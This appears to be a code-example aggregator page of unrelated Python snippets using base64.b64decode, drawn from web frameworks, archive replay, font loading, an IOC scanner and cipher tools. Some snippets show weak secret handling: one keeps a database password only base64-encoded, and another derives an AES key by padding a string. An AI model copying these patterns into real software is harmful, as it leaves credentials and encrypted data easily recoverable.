            if not mimetype:
                mimetype = guess_mimetype(base64.b64decode(content), default=default_mimetype)

        headers += [('Content-Type', mimetype), ('X-Content-Type-Options', 'nosniff')]

        # cache
        etag = hasattr(request, 'httprequest') and request.httprequest.headers.get('If-None-Match')
        retag = hashlib.md5(last_update).hexdigest()
        status = status or (304 if etag == retag else 200)
        headers.append(('ETag', retag))
        headers.append(('Cache-Control', 'max-age=%s' % (STATIC_CACHE if unique else 0)))

        # content-disposition default name
        if download:
            headers.append(('Content-Disposition', cls.content_disposition(filename)))
        return (status, headers, content)
示例#33
0
if 'vnfd_name' in context:
    name = context.get('vnfd_name')
    if name:
        vnfd_name = name + '_' + uuid_gen

filename = '/opt/fmc_repository/Datafiles/NFV/VNFD/' + vnfd_name + '/Definition/' + vnfd_name + '.yaml'

#get VNFD contents from input variable.
vnfd_contents = ''
if 'vnfd_contents' in context:
    vnfd_contents = context.get('vnfd_contents')

#create file in http server directory.
if not os.path.exists(os.path.dirname(filename)):
    try:
        os.makedirs(os.path.dirname(filename))
    except OSError as exc: # Guard against race condition
        if exc.errno != errno.EEXIST:
            raise

vnfd_contents_base64 = base64.b64decode(vnfd_contents)
vnfd_contents_base64_message = vnfd_contents_base64.decode('ascii')

with open(filename, "w") as file:
    file.write(vnfd_contents_base64_message)
    file.close()

#unset vnfd_contents variable value to avoid out of boxing service instance details diplaying in the UI.
context.update(vnfd_contents="")

MSA_API.task_success('VNFD TOSCA Sol001 meta was created successfully.', context, True)
def b64decode(s):
    from azurelinuxagent.common.version import PY_VERSION_MAJOR
    if PY_VERSION_MAJOR > 2:
        return base64.b64decode(s).decode('utf-8')
    return base64.b64decode(s)
示例#35
0
文件: etcd3.py 项目: xmnizl/patroni
def base64_decode(v):
    return base64.b64decode(v).decode('utf-8')
示例#36
0
 def base64Decode(self, s):
     if not isinstance(s, str):
         s = json.dumps(s)
     return base64.b64decode(s)
示例#37
0
import base64

input = "rKrUl+/clKHb4u/sm6sgnaPfnO/XkO=ewqPU45bRjp4gwa7NntoM467Onu/enqPRlakgj6Egjp0e1gAA"
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
output = ""

for c in input:
    print(c, table.find(c))
    output += table[len(table) - table.find(c) - 1]

output = base64.b64decode(output.encode())
print(output)
示例#38
0
 def resolve(self, url, id, context):
     """Search url in ``ir.attachment`` and return the resolved content."""
     attachment = self.env['ir.attachment'].search([('name', '=', url)])
     if attachment:
         return self.resolve_string(base64.b64decode(attachment.datas),
                                    context)
    +
    "UIz2vL0JLyV3UhaOdkrDaFk9qBfedZXyIjkIchDkQDv1mgxqDCAcDOt4e++Y2xgWAfc3zgE1yB4agD+LMvy2MGb7EthUMKU/ec09Ycs+iFp9lh9QGZToL0bhbeDoFQtj"
    +
    "iVJ4lNIPUdty4dOXnIxdx21wyAdP/7cirpRSqQxjJfApI1uL+R5tEe/LuzZrIj5lORYUWdTAUs6sIFgs++id1NA0O+zuYg+1U5GmnBzCeFn5muNDO3n77ZCuN0rUt1j2"
    +
    "3WDS5+U4TG4YbA6G7PA5YT5ExIkC0O+puZIw8UvpzcEu67OjNPPi2/pshsLOBw0Tj5whp20X9X4br9y+NvIuy4zBUli5U+3E0MXEgqWoYq/L6ref4hUZrdUlX9wtpevr"
    +
    "SL8xbCz3vVUHB+1u4MTyF/AzuQ64e7KQeSO/400aPYOm0LCOJ4/KCdMYibyRD95I4s2sXwZJb5f4RYOAtPyoyC95E3Omd7vgjZ1PSM9d9B4O4h3whi14E1mkF77m5Xb6"
    +
    "e3ptGksXt1sEjzjyBW9m4liKpm4Om3gJQuB967GlmcyHNk7lvk0tWSa5mp0ssJ1l6ieL+Brpinbg0vGOOmpadB06Thdj29NDE2SjAUtrmdaSfESyYLKIZAHahKCttpLy"
    +
    "EQQYEnZDidDSrwOpkCCl8dtpH9NGL2Y3SkCyqBJJNbu1mg5pdof9gUBepZIXrAgL4wovlt0NAUVgCP7o9mPFNoOD2jQbJwxM0zjuVIOujnQv7Rz1fqzePSyduPTjAKcn"
    +
    "0p2rGorPnGuSmTYGe/R4Rj+EJaRD0pFNz62wr0SS20tkSpyyAY6mGukr6bDPv+RlOHDZHDO3QL+DujrBr5Pe1Wg4pRcfU+zgaI2iJ+bO6GTFz5MhvjJS9OgUfX3Q1rSX"
    + "SlUVb9Bb9pSnPOUp/6n8A5fdc+wQDgAA")
g = base64.b64decode(_g)[1:]
for i in range(ord(base64.b64decode(_g)[0])):
    g = zlib.decompress(g, 16 + zlib.MAX_WBITS)
g = list(map(ord, g))


def gr(x, y):
    if (x >= 0 and y >= 0 and x < 80 and y < 45):
        return g[y * 80 + x]
    return 0


def gw(x, y, v):
    if (x >= 0 and y >= 0 and x < 80 and y < 45):
        g[y * 80 + x] = v
示例#40
0
 def get_object_meta(self, headers):
     """从object的头部获取加密元信息"""
     if 'x-cos-meta-client-side-encryption-key' in headers and 'x-cos-meta-client-side-encryption-iv' in headers:
         self.__encrypt_key = base64.b64decode(to_bytes(headers['x-cos-meta-client-side-encryption-key']))
         self.__encrypt_iv = base64.b64decode(to_bytes(headers['x-cos-meta-client-side-encryption-iv']))
     return self.__encrypt_key, self.__encrypt_iv
示例#41
0
def load_default():
    """Load a "better than nothing" default font.

    .. versionadded:: 1.1.4

    :return: A font object.
    """
    from io import BytesIO
    import base64
    f = ImageFont()
    f._load_pilfont_data(
        # courB08
        BytesIO(
            base64.b64decode(b'''
UElMZm9udAo7Ozs7OzsxMDsKREFUQQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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iwAIAAYAAP////oABgAAAIsAAACSAAYABgAA////+gAFAAAAkgAAAJgABgAGAAAA
AP/6AAUAAACYAAAAnQAGAAYAAP////oABQAAAJ0AAACjAAYABgAA////+gAFAAAAowAAAKkABgAG
AAD////6AAUAAACpAAAArwAGAAYAAAAA//oABQAAAK8AAAC0AAYABgAA////+gAGAAAAtAAAALsA
BgAGAAAAAP/6AAQAAAC7AAAAvwAGAAYAAP////oABQAAAL8AAADFAAYABgAA////+gAGAAAAxQAA
AMwABgAGAAD////6AAUAAADMAAAA0gAGAAYAAP////oABQAAANIAAADYAAYABgAA////+gAGAAAA
2AAAAN8ABgAGAAAAAP/6AAUAAADfAAAA5AAGAAYAAP////oABQAAAOQAAADqAAYABgAAAAD/+gAF
AAEA6gAAAO8ABwAGAAD////6AAYAAADvAAAA9gAGAAYAAAAA//oABQAAAPYAAAD7AAYABgAA////
+gAFAAAA+wAAAQEABgAGAAD////6AAYAAAEBAAABCAAGAAYAAP////oABgAAAQgAAAEPAAYABgAA
////+gAGAAABDwAAARYABgAGAAAAAP/6AAYAAAEWAAABHAAGAAYAAP////oABgAAARwAAAEjAAYA
BgAAAAD/+gAFAAABIwAAASgABgAGAAAAAf/5AAQAAQEoAAABKwAIAAYAAAAA//kABAABASsAAAEv
AAgABgAAAAH/+QAEAAEBLwAAATIACAAGAAAAAP/5AAX//AEyAAABNwADAAYAAAAAAAEABgACATcA
AAE9AAEABgAAAAH/+QAE//wBPQAAAUAAAwAGAAAAAP/7AAYAAAFAAAABRgAFAAYAAP////kABQAA
AUYAAAFMAAcABgAAAAD/+wAFAAABTAAAAVEABQAGAAAAAP/5AAYAAAFRAAABVwAHAAYAAAAA//sA
BQAAAVcAAAFcAAUABgAAAAD/+QAFAAABXAAAAWEABwAGAAAAAP/7AAYAAgFhAAABZwAHAAYAAP//
//kABQAAAWcAAAFtAAcABgAAAAD/+QAGAAABbQAAAXMABwAGAAAAAP/5AAQAAgFzAAABdwAJAAYA
AP////kABgAAAXcAAAF+A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AP////kABgAAAl8AAAJmAAcABgAA////+QAGAAACZgAA
Am0ABwAGAAD////5AAYAAAJtAAACdAAHAAYAAAAA//sABQACAnQAAAJ5AAcABgAA////9wAGAAAC
eQAAAoAACQAGAAD////3AAYAAAKAAAAChwAJAAYAAP////cABgAAAocAAAKOAAkABgAA////9wAG
AAACjgAAApUACQAGAAD////4AAYAAAKVAAACnAAIAAYAAP////cABgAAApwAAAKjAAkABgAA////
+gAGAAACowAAAqoABgAGAAAAAP/6AAUAAgKqAAACrwAIAAYAAP////cABQAAAq8AAAK1AAkABgAA
////9wAFAAACtQAAArsACQAGAAD////3AAUAAAK7AAACwQAJAAYAAP////gABQAAAsEAAALHAAgA
BgAAAAD/9wAEAAACxwAAAssACQAGAAAAAP/3AAQAAALLAAACzwAJAAYAAAAA//cABAAAAs8AAALT
AAkABgAAAAD/+AAEAAAC0wAAAtcACAAGAAD////6AAUAAALXAAAC3QAGAAYAAP////cABgAAAt0A
AALkAAkABgAAAAD/9wAFAAAC5AAAAukACQAGAAAAAP/3AAUAAALpAAAC7gAJAAYAAAAA//cABQAA
Au4AAALzAAkABgAAAAD/9wAFAAAC8wAAAvgACQAGAAAAAP/4AAUAAAL4AAAC/QAIAAYAAAAA//oA
Bf//Av0AAAMCAAUABgAA////+gAGAAADAgAAAwkABgAGAAD////3AAYAAAMJAAADEAAJAAYAAP//
//cABgAAAxAAAAMXAAkABgAA////9wAGAAADFwAAAx4ACQAGAAD////4AAYAAAAAAAoABwASAAYA
AP////cABgAAAAcACgAOABMABgAA////+gAFAAAADgAKABQAEAAGAAD////6AAYAAAAUAAoAGwAQ
AAYAAAAA//gABgAAABsACgAhABIABgAAAAD/+AAGAAAAIQAKACcAEgAGAAAAAP/4AAYAAAAnAAoA
LQASAAYAAAAA//gABgAAAC0ACgAzABIABgAAAAD/+QAGAAAAMwAKADkAEQAGAAAAAP/3AAYAAAA5
AAoAPwATAAYAAP////sABQAAAD8ACgBFAA8ABgAAAAD/+wAFAAIARQAKAEoAEQAGAAAAAP/4AAUA
AABKAAoATwASAAYAAAAA//gABQAAAE8ACgBUABIABgAAAAD/+AAFAAAAVAAKAFkAEgAGAAAAAP/5
AAUAAABZAAoAXgARAAYAAAAA//gABgAAAF4ACgBkABIABgAAAAD/+AAGAAAAZAAKAGoAEgAGAAAA
AP/4AAYAAABqAAoAcAASAAYAAAAA//kABgAAAHAACgB2ABEABgAAAAD/+AAFAAAAdgAKAHsAEgAG
AAD////4AAYAAAB7AAoAggASAAYAAAAA//gABQAAAIIACgCHABIABgAAAAD/+AAFAAAAhwAKAIwA
EgAGAAAAAP/4AAUAAACMAAoAkQASAAYAAAAA//gABQAAAJEACgCWABIABgAAAAD/+QAFAAAAlgAK
AJsAEQAGAAAAAP/6AAX//wCbAAoAoAAPAAYAAAAA//oABQABAKAACgClABEABgAA////+AAGAAAA
pQAKAKwAEgAGAAD////4AAYAAACsAAoAswASAAYAAP////gABgAAALMACgC6ABIABgAA////+QAG
AAAAugAKAMEAEQAGAAD////4AAYAAgDBAAoAyAAUAAYAAP////kABQACAMgACgDOABMABgAA////
+QAGAAIAzgAKANUAEw==
''')),
        Image.open(
            BytesIO(
                base64.b64decode(b'''
iVBORw0KGgoAAAANSUhEUgAAAx4AAAAUAQAAAAArMtZoAAAEwElEQVR4nABlAJr/AHVE4czCI/4u
Mc4b7vuds/xzjz5/3/7u/n9vMe7vnfH/9++vPn/xyf5zhxzjt8GHw8+2d83u8x27199/nxuQ6Od9
M43/5z2I+9n9ZtmDBwMQECDRQw/eQIQohJXxpBCNVE6QCCAAAAD//wBlAJr/AgALyj1t/wINwq0g
LeNZUworuN1cjTPIzrTX6ofHWeo3v336qPzfEwRmBnHTtf95/fglZK5N0PDgfRTslpGBvz7LFc4F
IUXBWQGjQ5MGCx34EDFPwXiY4YbYxavpnhHFrk14CDAAAAD//wBlAJr/AgKqRooH2gAgPeggvUAA
Bu2WfgPoAwzRAABAAAAAAACQgLz/3Uv4Gv+gX7BJgDeeGP6AAAD1NMDzKH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Ji2FrkY3iYpYC5qDeGgeEMAwPDvwQBBoYvcTwOVLMEAAAA//9isDBgkP///0EOg9z35v//
Gc/eeW7BwPj5+QGZhANUswMAAAD//2JgqGBgYGBgqEMXlvhMPUsAAAAA//8iYDd1AAAAAP//AwDR
w7IkEbzhVQAAAABJRU5ErkJggg==
'''))))
    return f
示例#42
0
 def code(self):
     if self.code_base64:
         base64_bytes = self.code_base64.encode("ascii", "ignore")
         return base64.b64decode(base64_bytes).decode("ascii", "ignore")
     else:
         return ""
示例#43
0
文件: web.py 项目: vincd/certitude
def hostjson(hostid):
    # if 'logged_in' in session:

    response = ''

    # Get the result
    task, result = dbsession.query(Task,
                                   Result).filter(Result.id == hostid).join(
                                       Result,
                                       Task.id == Result.tache_id).first()
    if task is None or result is None:
        return Response(status=404,
                        response='This host does not exist',
                        content_type='text/plain')

    # if not reachable, display error on the graph
    if not result.smbreachable:
        tab = {
            'name':
            task.ip,
            'infected':
            True,
            'children': [{
                'name': 'This host could not be joined',
                'infected': True
            }]
        }
        return Response(status=200,
                        response=json.dumps(tab),
                        content_type='application/json')

    # Get batch
    batch = dbsession.query(Batch).filter_by(id=task.batch_id).first()

    # Then profile
    cp = dbsession.query(ConfigurationProfile).filter_by(
        id=batch.configuration_profile_id).first()

    # The IOC list
    if cp.ioc_list == '':
        ioc_list = []
    else:
        ioc_list = [int(e) for e in cp.ioc_list.split(',')]

    # And IOC detections
    ioc_detections = dbsession.query(IOCDetection).filter_by(
        result_id=result.id).all()

    # list of GUID per IOC
    guids = {i: [] for i in ioc_list}
    for iocd in ioc_detections:
        guids[iocd.xmlioc_id].append(iocd.indicator_id)

    tree = {'name': task.ip, 'children': [], 'infected': False}

    for iocid in ioc_list:

        ioc = dbsession.query(XMLIOC).filter_by(id=iocid).first()

        FLAT_MODE = (IOC_MODE == 'flat')
        allowedElements = {}
        IOCevaluatorList = ioc_modules.flatEvaluatorList if FLAT_MODE else ioc_modules.logicEvaluatorList
        HASHevaluatorList = hash_modules.flatEvaluatorList if FLAT_MODE else hash_modules.logicEvaluatorList

        evaluatorList = dict(IOCevaluatorList.items() +
                             HASHevaluatorList.items())

        for name, classname in evaluatorList.items():
            allowedElements[name] = classname.evalList

        content = base64.b64decode(ioc.xml_content)

        # Parse IOC
        oip = openiocparser.OpenIOCParser(content,
                                          allowedElements,
                                          FLAT_MODE,
                                          fromString=True)
        oip.parse()

        # Build tree and infect it with the IOC detections
        tmp = oip.getTree()
        tmp.infect(guids[iocid])
        tmp = tmp.json2()

        tmptree = {
            'name': ioc.name,
            'children': [tmp],
            'infected': tmp['infected']
        }
        tree['children'].append(tmptree)

        # Get the infection up
        tree['infected'] |= tmp['infected']

    return Response(status=200,
                    response=json.dumps(tree, indent=4),
                    content_type='application/json')
示例#44
0
文件: mime.py 项目: hpk42/muacrypt
def decode_keydata(ascii_keydata):
    return base64.b64decode(ascii_keydata)
示例#45
0
文件: web.py 项目: vincd/certitude
def userAdd():
    if 'logged_in' in session:
        if request.method == 'GET':
            return render_template('user-add.html')
        else:
            success = True
            errors = []

            user_password = request.form['user_password']
            user = dbsession.query(User).filter_by(
                id=session['user_id']).first()

            # Checks current user password
            if user is None or hashPassword(user_password) != user.password:
                success = False
                errors.append('Your password is incorrect')

            # Someone has messed with the database
            if success:
                mk_cksum = dbsession.query(GlobalConfig).filter_by(
                    key='master_key_checksum').first()
                if not mk_cksum:
                    success = False
                    errors.append(
                        'Database is broken, please create a new one !')

            if success:
                keyFromPassword = crypto.keyFromText(
                    user_password, base64.b64decode(user.b64_kdf_salt))
                MASTER_KEY = crypto.decrypt(user.encrypted_master_key,
                                            keyFromPassword)

                # Someone changed the master key...
                if checksum(MASTER_KEY) != mk_cksum.value:
                    errors.append('MASTER_KEY may have been altered')
                    del MASTER_KEY
                    success = False

            # Now check the new user password...
            if success:
                password1, password2 = request.form['password'], request.form[
                    'password2']
                if password1 != password2:
                    success = False
                    errors.append('New user passwords do not match')

            # ... including complexity
            if success:
                if not verifyPassword(password1):
                    success = False
                    errors.append(
                        'Password is not complex enough (l > 12 and at least three character classes between lowercase, uppercase, numeric and special char)'
                    )

            # Encrypt the MASTER_KEY for the user
            if success:
                new_kdf_salt = crypto.randomBytes(crypto.SALT_LENGTH)
                keyFromPassword = crypto.keyFromText(password1, new_kdf_salt)
                emk = crypto.encrypt(MASTER_KEY, keyFromPassword)
                del MASTER_KEY  # safer ?

                u = User(username=request.form['username'],
                         password=hashPassword(password1),
                         email=request.form['email'],
                         active=True,
                         encrypted_master_key=emk,
                         b64_kdf_salt=base64.b64encode(new_kdf_salt))

            if len(request.form['username']) <= 0 or len(
                    request.form['email']) <= 0:
                success = False
                errors.append('No empty fields allowed.')

            if success:
                dbsession.add(u)
                dbsession.commit()
                return redirect(app.jinja_env.globals['url_for']('users'))
            else:
                return render_template('user-add.html',
                                       username=request.form['username'],
                                       email=request.form['email'],
                                       errors='\n'.join(errors))
    else:
        return redirect(app.jinja_env.globals['url_for']('login'))
示例#46
0
def b64jpg2np(pic_jpg_base64):
    pic_jpg = base64.b64decode(pic_jpg_base64)
    pic_np = imread(io.BytesIO(pic_jpg))
    return pic_np
示例#47
0
 def _deserialize(self, value, attr, data, **kwargs):
     if isinstance(value, dict) and value['encoding'] == 'base64':
         return b64decode(value['data']).decode("utf-8")
     return value
示例#48
0
文件: web.py 项目: vincd/certitude
def wincredAdd():
    if 'logged_in' in session:
        if request.method == 'GET':
            return render_template('config-wincred-add.html')
        else:
            success = True
            errors = []

            user_password = request.form['user_password']
            user = dbsession.query(User).filter_by(
                id=session['user_id']).first()

            # Password incorrect
            if user is None or hashPassword(user_password) != user.password:
                success = False
                errors.append('Your password is incorrect')

            # Database altered
            if success:
                mk_cksum = dbsession.query(GlobalConfig).filter_by(
                    key='master_key_checksum').first()
                if not mk_cksum:
                    success = False
                    errors.append(
                        'Database is broken, please create a new one !')

            # MASTER_KEY altered
            if success:
                keyFromPassword = crypto.keyFromText(
                    user_password, base64.b64decode(user.b64_kdf_salt))
                MASTER_KEY = crypto.decrypt(user.encrypted_master_key,
                                            keyFromPassword)

                if checksum(MASTER_KEY) != mk_cksum.value:
                    errors.append('MASTER_KEY may have been altered')
                    del MASTER_KEY
                    success = False

            if success:

                account_password = request.form['password']
                encrypted_account_password = crypto.encrypt(
                    account_password, MASTER_KEY)
                del MASTER_KEY

                # Encrypt Windows Credential's password
                wc = WindowsCredential(
                    domain=request.form['domain'],
                    login=request.form['login'],
                    encrypted_password=encrypted_account_password)

                dbsession.add(wc)
                dbsession.commit()

            if success:
                return redirect(app.jinja_env.globals['url_for']('config'))
            else:
                return render_template('config-wincred-add.html',
                                       errors='\n'.join(errors),
                                       domain=request.form['domain'],
                                       login=request.form['login'],
                                       password=request.form['password'])
    else:
        return redirect(app.jinja_env.globals['url_for']('login'))
 def from_xdr(cls, xdr: str) -> "PathPaymentStrictSendOp":
     xdr_bytes = base64.b64decode(xdr.encode())
     return cls.from_xdr_bytes(xdr_bytes)
示例#50
0
def bifidencode(importx, infilepath, outfilepath, inputformat, exportx, raw,
                key, n):

    if importx == 'file':

        f = open(infilepath, 'r')
        raw = f.read()
        f.close()

    elif importx == 'print':

        raw = raw

    else:

        print('\033[1;31m[-]\033[0m Unknown error.')
        return False

    inp = raw

    if inputformat == 'base64':

        iput = base64.b64decode(inp)

    elif inputformat == 'raw':

        iput = inp

    elif inputformat == 'base32':

        iput = base64.b32decode(inp)

    elif inputformat == 'base16':

        iput = base64.b16decode(inp)

    elif inputformat == 'base58':

        iput = base58.b58decode(inp)

    elif inputformat == 'base85':

        print('\033[1;31m[-]\033[0m Option not available yet')

    elif inputformat == 'hex':

        iput = inp.decode('hex')

    elif inputformat == 'dec':

        print('\033[1;31m[-]\033[0m Option not available yet')

    elif inputformat == 'octal':

        print('\033[1;31m[-]\033[0m Option not available yet')

    elif inputformat == 'binary':

        iput = text_from_bits(inp)

    else:

        print('\033[1;31m[-]\033[0m Unknown error.')
        return False

    output = Bifid(key, n).encipher(iput)

    if exportx == 'file':

        f = open(outfilepath, 'w')
        f.write(output)
        f.close()
        return True

    elif exportx == 'print':

        return output

    else:

        print('\033[1;31m[-]\033[0m Unknown error.')
        return False
示例#51
0
def show_uri(path, datetime=None):
    global IPFS_API

    if not ipwbUtils.isDaemonAlive(ipwbUtils.IPFSAPI_MUTLIADDRESS):
        errStr = ('IPFS daemon not running. '
                  'Start it using $ ipfs daemon on the command-line '
                  ' or from the <a href="/">'
                  'IPWB replay homepage</a>.')
        return Response(errStr, status=503)

    cdxjLine = ''
    try:
        surtedURI = surt.surt(path,
                              path_strip_trailing_slash_unless_empty=False)
        indexPath = ipwbUtils.getIPWBReplayIndexPath()

        searchString = surtedURI
        if datetime is not None:
            searchString = surtedURI + ' ' + datetime

        cdxjLine = getCDXJLine_binarySearch(searchString, indexPath)

    except Exception as e:
        print(sys.exc_info()[0])
        respString = ('{0} not found :(' +
                      ' <a href="http://{1}:{2}">Go home</a>').format(
                          path, IPWBREPLAY_HOST, IPWBREPLAY_PORT)
        return Response(respString)
    if cdxjLine is None:  # Resource not found in archives
        return generateNoMementosInterface(path, datetime)

    cdxjParts = cdxjLine.split(" ", 2)
    jObj = json.loads(cdxjParts[2])
    datetime = cdxjParts[1]

    digests = jObj['locator'].split('/')

    class HashNotFoundError(Exception):
        pass

    payload = None
    header = None
    try:

        def handler(signum, frame):
            raise HashNotFoundError()

        # if os.name != 'nt':  # Bug #310
        #    signal.signal(signal.SIGALRM, handler)
        #    signal.alarm(10)

        payload = IPFS_API.cat(digests[-1])
        header = IPFS_API.cat(digests[-2])

        # if os.name != 'nt':  # Bug #310
        #    signal.alarm(0)

    except ipfsapi.exceptions.TimeoutError:
        print("{0} not found at {1}".format(cdxjParts[0], digests[-1]))
        respString = ('{0} not found in IPFS :(' +
                      ' <a href="http://{1}:{2}">Go home</a>').format(
                          path, IPWBREPLAY_HOST, IPWBREPLAY_PORT)
        return Response(respString)
    except TypeError as e:
        print('A type error occurred')
        print(e)
        return "A Type Error Occurred", 500
    except HTTPError as e:
        print("Fetching from the IPFS failed")
        print(e)
        return "Fetching from IPFS failed", 503
    except HashNotFoundError:
        if payload is None:
            print("Hashes not found:\n\t{0}\n\t{1}".format(
                digests[-1], digests[-2]))
            return "Hashed not found", 404
        else:  # payload found but not header, fabricate header
            print("HTTP header not found, fabricating for resp replay")
            header = ''
    except Exception as e:
        print('Unknown exception occurred while fetching from ipfs.')
        print(e)
        return "An unknown exception occurred", 500

    if 'encryption_method' in jObj:
        keyString = None
        while keyString is None:
            if 'encryption_key' in jObj:
                keyString = jObj['encryption_key']
            else:
                askForKey = ('Enter a path for file',
                             ' containing decryption key: \n> ')
                keyString = raw_input(askForKey)

        paddedEncryptionKey = pad(keyString, AES.block_size)
        key = base64.b64encode(paddedEncryptionKey)

        nonce = b64decode(jObj['encryption_nonce'])
        cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
        header = cipher.decrypt(base64.b64decode(header))
        payload = cipher.decrypt(base64.b64decode(payload))

    hLines = header.decode() \
                   .replace('\r', '') \
                   .replace('\n\t', '\t') \
                   .replace('\n ', ' ') \
                   .split('\n')
    hLines.pop(0)

    status = 200
    if 'status_code' in jObj:
        status = jObj['status_code']

    resp = Response(payload, status=status)

    for idx, hLine in enumerate(hLines):
        k, v = hLine.split(':', 1)

        if k.lower() == 'transfer-encoding' and \
                re.search(r'\bchunked\b', v, re.I):
            try:
                unchunkedPayload = extractResponseFromChunkedData(payload)
            except Exception as e:
                continue  # Data not chunked
            resp.set_data(unchunkedPayload)

        if k.lower() not in ["content-type", "content-encoding", "location"]:
            k = "X-Archive-Orig-" + k

        resp.headers[k] = v.strip()

    # Add ipwb header for additional SW logic
    newPayload = resp.get_data()

    lineJSON = cdxjLine.split(' ', 2)[2]
    mime = json.loads(lineJSON)['mime_type']

    if 'text/html' in mime:
        ipwbjsinject = """<script src="/ipwbassets/webui.js"></script>
                      <script>injectIPWBJS()</script>"""

        newPayload = newPayload.decode('utf-8').replace(
            '</html>', ipwbjsinject + '</html>')

        resp.set_data(newPayload)

    resp.headers['Memento-Datetime'] = ipwbUtils.digits14ToRFC1123(datetime)

    if header is None:
        resp.headers['X-Headers-Generated-By'] = 'InterPlanetary Wayback'

    # Get TimeMap for Link response header
    # respWithLinkHeader = getLinkHeaderAbbreviatedTimeMap(path, datetime)
    # resp.headers['Link'] = respWithLinkHeader.replace('\n', ' ')

    if status[0] == '3' and isUri(resp.headers.get('Location')):
        # Bad assumption that the URI-M will contain \d14 but works for now.
        uriBeforeURIR = request.url[:re.search(r'/\d{14}/', request.url).end()]
        newURIM = uriBeforeURIR + resp.headers['Location']
        resp.headers['Location'] = newURIM

    return resp
示例#52
0
    def get_waiting_job(self, lock_dlist):
        print_hdr = "[" + self.class_name + ": get_waiting_job] - "
        conn_metadata = None

        try:
            table_list = []
            results = []
            for lock_dict in lock_dlist:
                if lock_dict['table_name'].find('=') == -1:
                    table_list.append(lock_dict['table_name'])
            table_distinct_list = list(set(table_list))

            if table_distinct_list:
                table_filter_clause = ",".join("'" + l + "'" for l in table_distinct_list)

                conn_metadata, cur_metadata = dbConnect(self.config_list['meta_db_dbName'], self.config_list['meta_db_dbUser'],
                                                        self.config_list['meta_db_dbUrl'], base64.b64decode(self.config_list['meta_db_dbPwd']))

                log_sql = "select job_key,table_name,to_char(max_start_time,'YYYY-MM-DD HH24:MI:SS') as start_time \
from ( \
    select plant_name ||' : '|| data_path||' : '||job_name||' : '||load_id||' : '||run_id as job_key,table_name,status,log_time, \
        max(log_time) over (partition by table_name) as max_start_time \
    from sbdt.edl_log \
    where 1 = 1 \
        and log_time > (current_timestamp - INTERVAL '1 day') \
        and plant_name not in ('TRANSPORTATION') \
        and (upper(data_path) not like '%2GP' or upper(data_path) not like '%2RDS' or upper(data_path) not like '%2PREDIX') \
        and table_name in (" + table_filter_clause + ") \
        and table_name is not null and length(trim(table_name)) > 0 and table_name <> 'NA') T1 \
where 1 = 1 \
        and log_time = max_start_time \
        and upper(status) like '%START%'"

                print (logdt.now().strftime('[%Y-%m-%d %H:%M:%S] ') + print_hdr + "log_sql: " + log_sql)

                results = dbQuery(cur_metadata, log_sql)
                print (logdt.now().strftime('[%Y-%m-%d %H:%M:%S] ') + print_hdr + "results: ", results)

            for lock_dict in lock_dlist:
                if len(results) > 0:
                    for result in results:
                        if (result['table_name'] == lock_dict['table_name']) and (datetime.strptime(result['start_time'], '%Y-%m-%d %H:%M:%S') >= \
                                (datetime.strptime(lock_dict['lock_datetime'], '%Y-%m-%d %H:%M:%S') - timedelta(minutes=30))):
                            lock_dict['waiting_job'] = result['job_key']
                            lock_dict['waiting_job_start_time'] = result['start_time']

        except Exception as e:
            print (logdt.now().strftime('[%Y-%m-%d %H:%M:%S] ') + print_hdr + "ERROR details: " + traceback.format_exc())
        finally:
            if conn_metadata is not None and not conn_metadata.closed:
                conn_metadata.close()
            return lock_dlist
示例#53
0
 def _decode(message):
     base64_bytes = message.encode('utf8')
     message_bytes = base64.b64decode(base64_bytes)
     return message_bytes.decode('utf8')
示例#54
0
    def deserialize(self, element, metadata=None, clear=True):
        if clear:
            self._clear()

        if isinstance(element, string_types):
            element_string = element
            try:
                element = ET.fromstring(element)
            except ET.ParseError as err:
                log.warning("Failed to parse data '%s' as XML, return raw "
                            "xml: %s" % (element_string, str(err)))
                return element_string
        else:
            xml_string = ET.tostring(element, encoding='utf-8', method='xml')
            element_string = to_string(xml_string)

        metadata = metadata or ObjectMeta()
        if metadata.tag == "*":
            metadata.tag = element.tag

        # get the object types so we store the TN Ref ids for later use
        obj_types = self._get_types_from_obj(element)

        # check if it is a primitive object
        unpack_function = {
            # Primitive types
            'S': lambda d: self._deserialize_string(d.text),
            'ToString': lambda d: self._deserialize_string(d.text),
            'C': lambda d: chr(int(d.text)),
            'B': lambda d: d.text.lower() == "true",
            'DT': lambda d: d.text,
            'TS': lambda d: d.text,
            'By': lambda d: int(d.text),
            'SB': lambda d: int(d.text),
            'U16': lambda d: int(d.text),
            'I16': lambda d: int(d.text),
            'U32': lambda d: int(d.text),
            'I32': lambda d: int(d.text),
            'U64': lambda d: int(d.text),
            'I64': lambda d: int(d.text),
            'Sg': lambda d: float(d.text),
            'Db': lambda d: float(d.text),
            'D': lambda d: d.text,  # TODO: deserialize this
            'BA': lambda d: base64.b64decode(d.text),
            'G': lambda d: uuid.UUID(d.text),
            'URI': lambda d: self._deserialize_string(d.text),
            'Nil': lambda d: None,
            'Version': lambda d: d.text,
            'XD': lambda d: self._deserialize_string(d.text),
            'SBK': lambda d: self._deserialize_string(d.text),
            'SS': lambda d: self._deserialize_secure_string(d),

            # references an object already deserialized
            'Ref': lambda d: self.obj[d.attrib['RefId']],
        }.get(element.tag)

